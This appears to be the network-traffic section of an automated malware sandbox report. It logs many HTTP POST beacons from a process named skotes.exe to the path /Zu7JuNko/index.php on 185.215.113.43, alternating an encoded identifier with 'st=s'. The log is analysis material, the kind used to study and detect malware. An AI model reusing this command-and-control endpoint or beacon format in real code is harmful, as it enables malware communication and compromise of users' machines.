Nov 1, 2024 10:59:00.401021957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50200	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:01.930483103 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:02.846576929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50201	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:04.466186047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:05.369163990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50202	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:06.877998114 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:07.800193071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50203	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:09.432971001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:10.334950924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50204	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:11.846189976 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:12.753374100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50206	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:14.380317926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:15.275569916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50207	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:16.794334888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:17.708867073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50208	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:19.327609062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:20.237095118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50209	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:21.761493921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:22.679028988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50210	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:24.316046953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:25.214648962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50211	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:26.729731083 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:27.641613960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50212	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:29.277770996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:30.206280947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50213	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:31.721098900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:32.634517908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50214	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:34.253725052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:35.167009115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	50222	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:36.857036114 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:37.766037941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	50223	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:39.408447027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:40.341142893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	50224	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:41.854857922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:42.810784101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	50225	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:44.447922945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:45.350080013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	50226	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:46.859642982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:47.771539927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	50227	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:49.393081903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:50.335006952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	50228	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:51.866830111 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:52.777746916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	50229	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:54.401473045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:59:55.302737951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	50231	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:56.814860106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:59:57.739552975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	50232	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:59:59.388235092 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
